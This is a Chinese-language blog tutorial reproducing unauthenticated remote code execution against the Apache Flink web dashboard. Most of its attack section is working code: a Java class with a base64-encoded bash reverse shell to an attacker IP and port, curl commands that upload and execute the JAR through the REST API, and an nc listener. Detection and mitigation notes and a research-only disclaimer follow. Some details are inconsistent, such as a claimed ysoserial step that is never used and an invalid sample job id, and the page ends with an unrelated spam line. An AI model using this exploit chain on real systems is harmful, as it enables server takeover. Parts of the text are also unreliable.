溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Flink未授權訪問遠程代碼命令執行的復現

發布時間:2022-01-18 16:14:44 來源:億速云 閱讀:875 作者:柒染 欄目:安全技術
# Apache Flink未授權訪問遠程代碼命令執行的復現

## 0x00 漏洞背景

Apache Flink作為開源的流處理框架,在大數據處理領域廣泛應用。其Web Dashboard默認監聽8081端口,若未正確配置安全策略,攻擊者可能通過未授權訪問實現遠程代碼執行(RCE)。該漏洞影響多個Flink版本,屬于高危風險。

## 0x01 環境搭建

### 實驗環境
- 攻擊機:Kali Linux 2023.1 (IP: 192.168.1.100)
- 靶機:Ubuntu 20.04 + Apache Flink 1.11.2
- 工具:Burp Suite、curl、nc

### 靶機部署
```bash
# 下載Flink
wget https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz
tar -xzf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2

# 啟動集群(默認不啟用認證)
./bin/start-cluster.sh

0x02 漏洞驗證

未授權訪問檢測

訪問http://<target>:8081,若直接顯示Dashboard且無需認證,則存在未授權訪問:

curl -I http://192.168.1.200:8081
HTTP/1.1 200 OK
Content-Type: text/html

接口探測

關鍵危險接口: - /jars/upload:上傳JAR文件 - /jars/<jar-id>/run:執行JAR包 - /jars/<jar-id>/plan:獲取執行計劃

0x03 漏洞利用

步驟1:制作惡意JAR

使用ysoserial生成反彈shell的JAR:

// EvilJob.java
public class EvilJob {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}");
    }
}

編譯打包:

javac EvilJob.java
jar cvf evil.jar EvilJob.class

步驟2:上傳JAR文件

通過API接口上傳:

curl -X POST -F "jarfile=@evil.jar" http://192.168.1.200:8081/jars/upload

返回示例:

{
  "filename": "evil.jar",
  "status": "success",
  "id": "a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar"
}

步驟3:觸發RCE

方法一:直接執行

curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/run"

方法二:通過Plan API(更隱蔽)

curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/plan" \
-H "Content-Type: application/json" \
-d '{"programArgs":"--host 192.168.1.100 --port 4444"}'

步驟4:獲取反彈Shell

攻擊機監聽:

nc -lvnp 4444

成功獲取到目標系統的shell權限。

0x04 流量分析

HTTP請求示例

POST /jars/upload HTTP/1.1
Host: 192.168.1.200:8081
Content-Type: multipart/form-data
Content-Length: 1234

[惡意JAR文件二進制數據]

特征檢測

  • 異常的/jars/upload/run請求
  • 短時間內大量Job提交
  • 非常規的programArgs參數

0x05 修復建議

臨時緩解措施

  1. 網絡層隔離:

    iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
    iptables -A INPUT -p tcp --dport 8081 -j DROP
    
  2. 配置文件修改(flink-conf.yaml):

    web.submit.enable: false
    security.ssl.enabled: true
    

長期解決方案

  • 升級到最新安全版本(≥1.15.0)
  • 啟用Kerberos認證:
    
    security.kerberos.login.keytab: /path/to/keytab
    security.kerberos.login.principal: flink-user
    
  • 實現基于角色的訪問控制(RBAC)

0x06 漏洞原理

漏洞成因在于: 1. 默認無認證:Web UI/API未強制身份驗證 2. 危險功能暴露:允許任意用戶提交執行Job 3. 反序列化風險:Flink使用Java序列化機制

攻擊流程圖:

graph TD
    A[發現開放8081端口] --> B[訪問Web UI]
    B --> C{是否需要認證}
    C -->|否| D[上傳惡意JAR]
    C -->|是| E[停止攻擊]
    D --> F[觸發執行]
    F --> G[獲取RCE]

0x07 參考鏈接

”`

(注:實際執行漏洞利用需獲得合法授權,本文僅作技術研究用途)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女